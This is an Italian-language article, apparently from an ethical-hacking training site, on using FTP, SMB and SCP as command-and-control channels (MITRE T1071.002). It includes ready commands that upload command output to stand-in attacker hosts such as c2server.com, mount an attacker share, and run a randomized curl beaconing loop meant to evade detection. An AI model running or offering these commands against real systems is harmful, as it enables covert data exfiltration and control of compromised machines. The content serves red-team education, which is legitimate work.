Protocolli di Trasferimento File per C2: File Transfer Protocols (T1071.002)
I protocolli di trasferimento file rappresentano un canale privilegiato per il command and control nelle operazioni offensive moderne. FTP, SMB, FTPS e TFTP permettono di mimetizzare comunicazioni malevole all'interno del traffico legittimo aziendale, sfruttando porte e servizi tipicamente autorizzati dai firewall perimetrali.
Questa tecnica si manifesta nella fase di Command and Control (TA0011) della kill chain, quando l'attaccante ha già stabilito un foothold e necessita di un canale stabile per controllare i sistemi compromessi. La natura bidirezionale di questi protocolli consente sia l'invio di comandi che la ricezione di output, il tutto mascherato da normale trasferimento file.
L'adozione è significativa: 4 gruppi APT documentati, 19 malware che implementano questa tecnica e 2 campagne recenti ne dimostrano l'efficacia operativa.
Il setup di un canale FTP per C2 richiede pochi passaggi ma offre grande flessibilità. Su Windows, l'FTP client nativo può essere weaponizzato immediatamente:
ftp -s:commands.txt malicious.domain.com
Il file commands.txt contiene le credenziali e i comandi da eseguire automaticamente. Per SMB, PowerShell offre capacità native di mounting remoto che simulano perfettamente il comportamento di Cobalt Strike:
New-PSDrive -Name "C2" -PSProvider FileSystem -Root "\attacker.ip\share" -Credential $cred
Su Linux, il trasferimento via SCP o SFTP può essere automatizzato con chiavi SSH pre-condivise. La tecnica diventa particolarmente efficace quando combinata con job schedulati che uploadano periodicamente i risultati dei comandi:
curl -T output.txt ftp://anonymous:pass@c2server.com/uploads/
Per simulare il comportamento di BADHATCH, è possibile creare un FTP server fake che risponde solo a client specifici. Python offre librerie come pyftpdlib per implementare rapidamente un server custom che logga tutte le interazioni mentre mantiene la facciata di un servizio legittimo.
L'aspetto più sottile sta nel traffic shaping: i tool professionali come ShadowPad implementano throttling e randomizzazione degli intervalli di comunicazione. Un semplice script bash può replicare questo comportamento:
while true; do curl -T /tmp/beacon.txt ftp://c2.server/; sleep $((RANDOM % 300 + 60)); done
La chiave sta nel bilanciare frequenza delle comunicazioni e volume di dati trasferiti per rimanere sotto i threshold di detection.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo